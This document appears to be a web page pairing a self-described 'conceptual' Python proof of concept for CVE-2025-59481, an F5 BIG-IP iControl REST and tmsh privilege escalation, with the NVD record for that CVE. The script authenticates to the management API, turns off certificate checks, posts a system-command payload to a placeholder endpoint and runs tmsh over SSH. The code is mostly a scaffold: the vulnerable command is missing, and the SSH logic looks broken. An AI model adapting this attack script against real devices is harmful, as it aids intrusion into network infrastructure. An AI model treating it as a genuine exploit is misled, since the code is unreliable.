CVE-2025-59481

# CVE-2025-59481 - F5 BIG-IP iControl REST Privilege Escalation PoC # Note: This is a conceptual PoC. The specific undisclosed command is not publicly available. # Requires valid credentials with at least resource administrator role. import requests import json from requests.auth import HTTPBasicAuth # Target configuration TARGET_HOST = "https://<big-ip-management-ip>" USERNAME = "resource_admin_user" PASSWORD = "password" # Disable SSL warnings for self-signed certificates requests.packages.urllib3.disable_warnings() def exploit_icontrol_rest(): """ Exploit the undisclosed iControl REST command to escalate privileges. The vulnerable endpoint allows executing system commands with elevated privileges. """ session = requests.Session() session.verify = False session.auth = HTTPBasicAuth(USERNAME, PASSWORD) # Step 1: Authenticate and obtain a token auth_url = f"{TARGET_HOST}/mgmt/shared/authn/login" auth_payload = { "username": USERNAME, "password": PASSWORD, "loginProviderName": "tmos" } response = session.post(auth_url, json=auth_payload) if response.status_code != 200: print(f"Authentication failed: {response.status_code}") return token = response.json()["token"]["token"] session.headers.update({"X-F5-Auth-Token": token}) # Step 2: Exploit the undisclosed vulnerable command # The specific endpoint is not publicly disclosed by F5 # Attackers would need to identify the vulnerable command through fuzzing/research vulnerable_endpoint = f"{TARGET_HOST}/mgmt/tm/<undisclosed-command>" exploit_payload = { "command": "run", # Attempt to execute arbitrary system command with elevated privileges "utilCmdArgs": "/bin/id" } response = session.post(vulnerable_endpoint, json=exploit_payload) print(f"Response status: {response.status_code}") print(f"Response body: {response.text}") if response.status_code == 200: print("[+] Privilege escalation may have succeeded!") def exploit_tmsh(): """ Exploit via tmsh (TMOS Shell) command over SSH. Requires SSH access with resource administrator credentials. """ import paramiko ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect( hostname=TARGET_HOST.replace("https://", "").replace("http://", ""), username=USERNAME, password=PASSWORD ) # Execute the undisclosed tmsh command that triggers privilege escalation # The specific command syntax is not publicly disclosed commands = [ "tmsh", # The vulnerable undisclosed command would go here # Example: list /<vulnerable-path> "quit" ] for cmd in commands: stdin, stdout, stderr = ssh.exec_command(cmd) print(f"Command: {cmd}") print(f"Output: {stdout.read().decode()}") print(f"Error: {stderr.read().decode()}") ssh.close() if __name__ == "__main__": print("[*] CVE-2025-59481 PoC - F5 BIG-IP Privilege Escalation") print("[*] This is a conceptual PoC for security research purposes only") # exploit_icontrol_rest() # exploit_tmsh()

{"cve": {"id": "CVE-2025-59481", "sourceIdentifier": "[email protected]", "published": "2025-10-15T14:15:54.437", "lastModified": "2026-02-04T17:48:00.960", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability exists in an undisclosed iControl REST and BIG-IP TMOS Shell (tmsh) command that may allow an authenticated attacker with at least resource administrator role to execute arbitrary system commands with higher privileges.  A successful exploit can allow the attacker to cross a security boundary.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", 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